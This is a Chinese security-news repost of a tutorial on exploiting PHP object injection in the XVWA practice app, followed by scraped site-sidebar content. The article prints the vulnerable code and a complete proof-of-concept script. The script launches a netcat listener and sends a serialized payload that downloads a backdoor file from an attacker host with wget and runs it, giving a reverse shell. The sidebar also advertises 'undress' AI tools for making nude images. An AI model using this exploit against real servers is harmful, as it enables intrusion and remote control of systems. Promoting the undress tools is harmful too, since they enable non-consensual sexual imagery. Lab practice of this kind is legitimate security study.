技术分享:PHP序列化/对象注入漏洞的利用
本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。如果你想了解更多关于PHP序列化的内容,请访问这个 链接。如果你想自行测试这个漏洞,你可以通过 XVWA和 Kevgir进行操作。
漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里。它会被动检测PHP和Java序列化的存在。
分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:
$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:
eval($this->inject);
接着,执行:
echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!
< ?php error_reporting(E_ALL); class PHPObjectInjection{ public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)){ eval($this->inject); } } }//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";} if(isset($_REQUEST['r'])){ $var1=unserialize($_REQUEST['r']); if(is_array($var1)){ echo "".$var1[0]." - ".$var1[1]; } }else{ echo "parameter is missing"; }? >
漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:
http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意:你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:
<?php /*PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.comA simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. Shouts to @jstnkndy @yappare for theassist!NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured*/print"==============================================================================\r\n";print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";print"==============================================================================\r\n";print "[+] Generating serializedpayload...[OK]\r\n";print "[+] Launching reverselistener...[OK]\r\n";system('gnome-terminal -x sh -c \'nc -lvvp1234\'');class PHPObjectInjection{ //CHANGE URL/FILENAME TO MATCH YOUR SETUP public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";} $url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER$url = $url . urlencode(serialize(newPHPObjectInjection));print "[+] Sendingexploit...[OK]\r\n";print "[+] Dropping down tointeractive shell...[OK]\r\n";print"==============================================================================\r\n";$response =file_get_contents("$url"); ? >
Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!
视频展示如下:
*参考来源: CD,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



Alipay PHP...

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

How to automatically set the permissions of unixsocket after the system restarts. Every time the system restarts, we need to execute the following command to modify the permissions of unixsocket: sudo...

Article discusses late static binding (LSB) in PHP, introduced in PHP 5.3, allowing runtime resolution of static method calls for more flexible inheritance.Main issue: LSB vs. traditional polymorphism; LSB's practical applications and potential perfo

Sending JSON data using PHP's cURL library In PHP development, it is often necessary to interact with external APIs. One of the common ways is to use cURL library to send POST�...

How to debug CLI mode in PHPStorm? When developing with PHPStorm, sometimes we need to debug PHP in command line interface (CLI) mode...

Article discusses essential security features in frameworks to protect against vulnerabilities, including input validation, authentication, and regular updates.
